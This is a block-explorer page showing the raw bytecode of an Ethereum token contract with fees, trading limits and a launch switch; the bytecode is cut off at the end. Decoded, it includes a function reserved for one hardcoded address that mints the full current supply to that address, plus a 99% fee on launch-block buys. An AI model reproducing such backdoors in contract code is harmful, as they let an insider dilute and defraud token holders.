Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x1ce822FAf12354C4202Bb95e67564C80c65689a7
Balance 0.000300000 ETH
Nonce 1
Code Size 24542 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

24542 bytes
0x60806040526004361061036f5760003560e01c8063941fa5cd116101c6578063d85ba063116100f7578063ee40166e11610095578063f5648a4f1161006f578063f5648a4f14610c83578063f637434214610c9a578063f8a25a9414610cc5578063fb002c9714610cf057610376565b8063ee40166e14610c04578063f11a24d314610c2f578063f2fde38b14610c5a57610376565b8063e2f45605116100d1578063e2f4560514610b6c578063e884f26014610b97578063e98d8d1514610bae578063ea4cfe1214610bd957610376565b8063d85ba06314610adb578063dc3f0d0f14610b06578063dd62ed3e14610b2f57610376565b8063b62496f511610164578063c17b5b8c1161013e578063c17b5b8c14610a35578063c18bc19514610a5e578063c876d0b914610a87578063d257b34f14610ab257610376565b8063b62496f5146109a4578063bbc0c742146109e1578063c024666814610a0c57610376565b8063a1883d26116101a0578063a1883d26146108d6578063a457c2d7146108ff578063a9059cbb1461093c578063aa4bde281461097957610376565b8063941fa5cd1461085757806395d89b41146108825780639a7a23d6146108ad57610376565b80635a139dd4116102a0578063751039fc1161023e5780638366e79a116102185780638366e79a146107ad57806388e765ff146107ea5780638a8c523c146108155780638da5cb5b1461082c57610376565b8063751039fc146107445780637571336a1461075b5780638095d5641461078457610376565b80636d7adcad1161027a5780636d7adcad1461069a5780636ddd1713146106c557806370a08231146106f0578063715018a61461072d57610376565b80635a139dd41461061957806366d602ae146106445780636a486a8e1461066f57610376565b80632be32b611161030d578063499b8394116102e7578063499b83941461056f57806349bd5a5e146105985780634a62bb65146105c35780634f77f6c0146105ee57610376565b80632be32b61146104de578063313ce56714610507578063395093511461053257610376565b80631694505e116103495780631694505e1461042057806318160ddd1461044b5780631a8145bb1461047657806323b872dd146104a157610376565b806306fdde031461037b578063095ea7b3146103a657806310d5de53146103e357610376565b3661037657005b600080fd5b34801561038757600080fd5b50610390610d1b565b60405161039d91906146f0565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906147ab565b610dad565b6040516103da9190614806565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190614821565b610dcb565b6040516104179190614806565b60405180910390f35b34801561042c57600080fd5b50610435610deb565b60405161044291906148ad565b60405180910390f35b34801561045757600080fd5b50610460610e0f565b60405161046d91906148d7565b60405180910390f35b34801561048257600080fd5b5061048b610e19565b60405161049891906148d7565b60405180910390f35b3480156104ad57600080fd5b506104c860048036038101906104c391906148f2565b610e1f565b6040516104d59190614806565b60405180910390f35b3480156104ea57600080fd5b5061050560048036038101906105009190614945565b610f17565b005b34801561051357600080fd5b5061051c61107a565b604051610529919061498e565b60405180910390f35b34801561053e57600080fd5b50610559600480360381019061055491906147ab565b611083565b6040516105669190614806565b60405180910390f35b34801561057b57600080fd5b5061059660048036038101906105919190614821565b61112f565b005b3480156105a457600080fd5b506105ad6112bc565b6040516105ba91906149b8565b60405180910390f35b3480156105cf57600080fd5b506105d86112e0565b6040516105e59190614806565b60405180910390f35b3480156105fa57600080fd5b506106036112f3565b60405161061091906148d7565b60405180910390f35b34801561062557600080fd5b5061062e6112f9565b60405161063b91906148d7565b60405180910390f35b34801561065057600080fd5b506106596112ff565b60405161066691906148d7565b60405180910390f35b34801561067b57600080fd5b50610684611305565b60405161069191906148d7565b60405180910390f35b3480156106a657600080fd5b506106af61130b565b6040516106bc91906148d7565b60405180910390f35b3480156106d157600080fd5b506106da611311565b6040516106e79190614806565b60405180910390f35b3480156106fc57600080fd5b5061071760048036038101906107129190614821565b611324565b60405161072491906148d7565b60405180910390f35b34801561073957600080fd5b5061074261136c565b005b34801561075057600080fd5b506107596114c4565b005b34801561076757600080fd5b50610782600480360381019061077d91906149ff565b6115bf565b005b34801561079057600080fd5b506107ab60048036038101906107a69190614a3f565b611745565b005b3480156107b957600080fd5b506107d460048036038101906107cf9190614a92565b61185f565b6040516107e19190614806565b60405180910390f35b3480156107f657600080fd5b506107ff611b13565b60405161080c91906148d7565b60405180910390f35b34801561082157600080fd5b5061082a611b19565b005b34801561083857600080fd5b50610841611c6b565b60405161084e91906149b8565b60405180910390f35b34801561086357600080fd5b5061086c611c95565b60405161087991906148d7565b60405180910390f35b34801561088e57600080fd5b50610897611c9b565b6040516108a491906146f0565b60405180910390f35b3480156108b957600080fd5b506108d460048036038101906108cf91906149ff565b611d2d565b005b3480156108e257600080fd5b506108fd60048036038101906108f89190614821565b611e60565b005b34801561090b57600080fd5b50610926600480360381019061092191906147ab565b611fed565b6040516109339190614806565b60405180910390f35b34801561094857600080fd5b50610963600480360381019061095e91906147ab565b6120d8565b6040516109709190614806565b60405180910390f35b34801561098557600080fd5b5061098e6120f6565b60405161099b91906148d7565b60405180910390f35b3480156109b057600080fd5b506109cb60048036038101906109c69190614821565b6120fc565b6040516109d89190614806565b60405180910390f35b3480156109ed57600080fd5b506109f661211c565b604051610a039190614806565b60405180910390f35b348015610a1857600080fd5b50610a336004803603810190610a2e91906149ff565b61212f565b005b348015610a4157600080fd5b50610a5c6004803603810190610a579190614a3f565b61226f565b005b348015610a6a57600080fd5b50610a856004803603810190610a809190614945565b612389565b005b348015610a9357600080fd5b50610a9c6124ec565b604051610aa99190614806565b60405180910390f35b348015610abe57600080fd5b50610ad96004803603810190610ad49190614945565b6124ff565b005b348015610ae757600080fd5b50610af0612667565b604051610afd91906148d7565b60405180910390f35b348015610b1257600080fd5b50610b2d6004803603810190610b289190614945565b61266d565b005b348015610b3b57600080fd5b50610b566004803603810190610b519190614a92565b6127d0565b604051610b6391906148d7565b60405180910390f35b348015610b7857600080fd5b50610b81612857565b604051610b8e91906148d7565b60405180910390f35b348015610ba357600080fd5b50610bac61285d565b005b348015610bba57600080fd5b50610bc3612911565b604051610bd091906149b8565b60405180910390f35b348015610be557600080fd5b50610bee612937565b604051610bfb91906149b8565b60405180910390f35b348015610c1057600080fd5b50610c1961295d565b604051610c2691906148d7565b60405180910390f35b348015610c3b57600080fd5b50610c44612963565b604051610c5191906148d7565b60405180910390f35b348015610c6657600080fd5b50610c816004803603810190610c7c9190614821565b612969565b005b348015610c8f57600080fd5b50610c98612b2f565b005b348015610ca657600080fd5b50610caf612bd8565b604051610cbc91906148d7565b60405180910390f35b348015610cd157600080fd5b50610cda612bde565b604051610ce791906148d7565b60405180910390f35b348015610cfc57600080fd5b50610d05612be4565b604051610d1291906148d7565b60405180910390f35b606060038054610d2a90614b01565b80601f0160208091040260200160405190810160405280929190818152602001828054610d5690614b01565b8015610da35780601f10610d7857610100808354040283529160200191610da3565b820191906000526020600020905b815481529060010190602001808311610d8657829003601f168201915b5050505050905090565b6000610dc1610dba612bea565b8484612bf2565b6001905092915050565b601d6020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b601a5481565b6000610e2c848484612dbb565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e77612bea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90614ba4565b60405180910390fd5b610f0b85610f03612bea565b858403612bf2565b60019150509392505050565b610f1f612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa590614c10565b60405180910390fd5b670de0b6b3a76400006103e86001610fc4610e0f565b610fce9190614c5f565b610fd89190614cd0565b610fe29190614cd0565b811015611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101b90614d73565b60405180910390fd5b670de0b6b3a7640000816110389190614c5f565b6006819055507ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de4100960065460405161106f91906148d7565b60405180910390a150565b60006012905090565b6000611125611090612bea565b84846001600061109e612bea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111209190614d93565b612bf2565b6001905092915050565b611137612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bd90614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611235576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122c90614e39565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167f4efa56652237561d0f1fd31311aeaaa41f3b754a461545ed3cf6ced5876d298260405160405180910390a250565b7f000000000000000000000000afbf8f90ab3619c2ef07f45e5b0c13c5aab4bf1d81565b600e60009054906101000a900460ff1681565b60165481565b60125481565b60075481565b60155481565b601b5481565b600e60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611374612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fa90614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6114cc612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461155b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155290614c10565b60405180910390fd5b6000600e60006101000a81548160ff0219169083151502179055506000601060006101000a81548160ff0219169083151502179055507fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c60405160405180910390a1565b6115c7612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d90614c10565b60405180910390fd5b806116ea577f000000000000000000000000afbf8f90ab3619c2ef07f45e5b0c13c5aab4bf1d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e090614ecb565b60405180910390fd5b5b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61174d612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d390614c10565b60405180910390fd5b8260128190555081601381905550806014819055506014546013546012546118049190614d93565b61180e9190614d93565b601181905550600f601154111561185a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185190614f37565b60405180910390fd5b505050565b6000611869612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ef90614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e90614fa3565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cc9061500f565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611a1091906149b8565b602060405180830381865afa158015611a2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a519190615044565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401611a8e929190615071565b6020604051808303816000875af1158015611aad573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ad191906150af565b91507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e4388482604051611b04929190615071565b60405180910390a15092915050565b60065481565b611b21612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba790614c10565b60405180910390fd5b600e60019054906101000a900460ff1615611c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf790615128565b60405180910390fd5b6001600e60016101000a81548160ff0219169083151502179055506001600e60026101000a81548160ff02191690831515021790555043600d819055507fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb760405160405180910390a1565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b606060048054611caa90614b01565b80601f0160208091040260200160405190810160405280929190818152602001828054611cd690614b01565b8015611d235780601f10611cf857610100808354040283529160200191611d23565b820191906000526020600020905b815481529060010190602001808311611d0657829003601f168201915b5050505050905090565b611d35612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbb90614c10565b60405180910390fd5b7f000000000000000000000000afbf8f90ab3619c2ef07f45e5b0c13c5aab4bf1d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e49906151ba565b60405180910390fd5b611e5c8282613bbd565b5050565b611e68612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eee90614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5d90615226565b60405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167ff95a3f3be1ad3ec3d252a63182a8332b013f2251a59a30a03ecd260cbe263cc260405160405180910390a250565b60008060016000611ffc612bea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156120b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b0906152b8565b60405180910390fd5b6120cd6120c4612bea565b85858403612bf2565b600191505092915050565b60006120ec6120e5612bea565b8484612dbb565b6001905092915050565b60085481565b601e6020528060005260406000206000915054906101000a900460ff1681565b600e60019054906101000a900460ff1681565b612137612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd90614c10565b60405180910390fd5b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516122639190614806565b60405180910390a25050565b612277612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fd90614c10565b60405180910390fd5b82601681905550816017819055508060188190555060185460175460165461232e9190614d93565b6123389190614d93565b60158190555060146015541115612384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237b90615324565b60405180910390fd5b505050565b612391612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241790614c10565b60405180910390fd5b670de0b6b3a76400006103e86003612436610e0f565b6124409190614c5f565b61244a9190614cd0565b6124549190614cd0565b811015612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248d906153b6565b60405180910390fd5b670de0b6b3a7640000816124aa9190614c5f565b6008819055507fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc6008546040516124e191906148d7565b60405180910390a150565b601060009054906101000a900460ff1681565b612507612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258d90614c10565b60405180910390fd5b620186a060016125a4610e0f565b6125ae9190614c5f565b6125b89190614cd0565b8110156125fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f190615448565b60405180910390fd5b6103e86001612607610e0f565b6126119190614c5f565b61261b9190614cd0565b81111561265d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612654906154da565b60405180910390fd5b80600a8190555050565b60115481565b612675612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fb90614c10565b60405180910390fd5b670de0b6b3a76400006103e8600161271a610e0f565b6127249190614c5f565b61272e9190614cd0565b6127389190614cd0565b81101561277a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127719061556c565b60405180910390fd5b670de0b6b3a76400008161278e9190614c5f565b6007819055507f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e6007546040516127c591906148d7565b60405180910390a150565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b612865612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128eb90614c10565b60405180910390fd5b6000601060006101000a81548160ff021916908315150217905550565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b60135481565b612971612bea565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129f790614c10565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a66906155fe565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b73c00bedfd78d649d00aadd0b6e5091751d200eeb473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ba89061500f565b60405180910390fd5b612bd673c00bedfd78d649d00aadd0b6e5091751d200eeb4612bd1610e0f565b613c68565b565b60175481565b60185481565b60195481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5890615690565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612cd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cc790615722565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612dae91906148d7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e21906157b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9090615846565b60405180910390fd5b60008111612edc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed3906158b2565b60405180910390fd5b600e60009054906101000a900460ff161561364557612ef9611c6b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612f675750612f37611c6b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612fa05750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612fda575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561364457600e60019054906101000a900460ff166130d457601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130945750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6130d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130ca9061591e565b60405180910390fd5b5b601060009054906101000a900460ff1615613303577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561319157507f000000000000000000000000afbf8f90ab3619c2ef07f45e5b0c13c5aab4bf1d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613302576004436131a3919061593e565b600f60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410801561323a57506004436131f8919061593e565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b613279576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613270906159e4565b60405180910390fd5b43600f60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555043600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156133a65750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561344d576006548111156133f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133e790615a76565b60405180910390fd5b6008546133fc83611324565b826134079190614d93565b1115613448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161343f90615ae2565b60405180910390fd5b613643565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156134f05750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561353f5760075481111561353a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353190615b74565b60405180910390fd5b613642565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156135e35750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613641576008546135f483611324565b826135ff9190614d93565b1115613640576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161363790615ae2565b60405180910390fd5b5b5b5b5b5b600061365030611324565b90506000600a5482101590508080156136755750600e60029054906101000a900460ff165b801561368e5750600960009054906101000a900460ff16155b80156136e45750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561373a5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156137905750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156137d4576001600960006101000a81548160ff0219169083151502179055506137b8613daf565b6000600960006101000a81548160ff0219169083151502179055505b600060019050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061387b5750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561388557600090505b6000808215613ba85760014361389b9190614d93565b600d54101580156138f55750601e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156139475760646063876139099190614c5f565b6139139190614cd0565b905061394288600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361404a565b613b79565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156139a257506000601554115b15613a61576064601554876139b79190614c5f565b6139c19190614cd0565b9150601554601754836139d49190614c5f565b6139de9190614cd0565b601a60008282546139ef9190614d93565b9250508190555060155460165483613a079190614c5f565b613a119190614cd0565b60196000828254613a229190614d93565b9250508190555060155460185483613a3a9190614c5f565b613a449190614cd0565b601b6000828254613a559190614d93565b92505081905550613b78565b601e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613abc57506000601154115b15613b7757606460115487613ad19190614c5f565b613adb9190614cd0565b915060115460135483613aee9190614c5f565b613af89190614cd0565b601a6000828254613b099190614d93565b9250508190555060115460125483613b219190614c5f565b613b2b9190614cd0565b60196000828254613b3c9190614d93565b9250508190555060115460145483613b549190614c5f565b613b5e9190614cd0565b601b6000828254613b6f9190614d93565b925050819055505b5b5b6000821115613b8e57613b8d88308461404a565b5b8082613b9a9190614d93565b86613ba5919061593e565b95505b613bb388888861404a565b5050505050505050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550613c1e82826142b3565b8015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613cd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cce90615be0565b60405180910390fd5b8060026000828254613ce99190614d93565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613d3e9190614d93565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613da391906148d7565b60405180910390a35050565b6000613dba30611324565b90506000601b54601954601a54613dd19190614d93565b613ddb9190614d93565b90506000821480613dec5750600081145b15613df8575050614048565b600a8054613e069190614c5f565b821115613e1e57600a8054613e1b9190614c5f565b91505b600080600283601a5486613e329190614c5f565b613e3c9190614cd0565b613e469190614cd0565b9050613e5c8185613e57919061593e565b614347565b6000479050600081905060006002601a54613e779190614cd0565b86613e82919061593e565b60195484613e909190614c5f565b613e9a9190614cd0565b905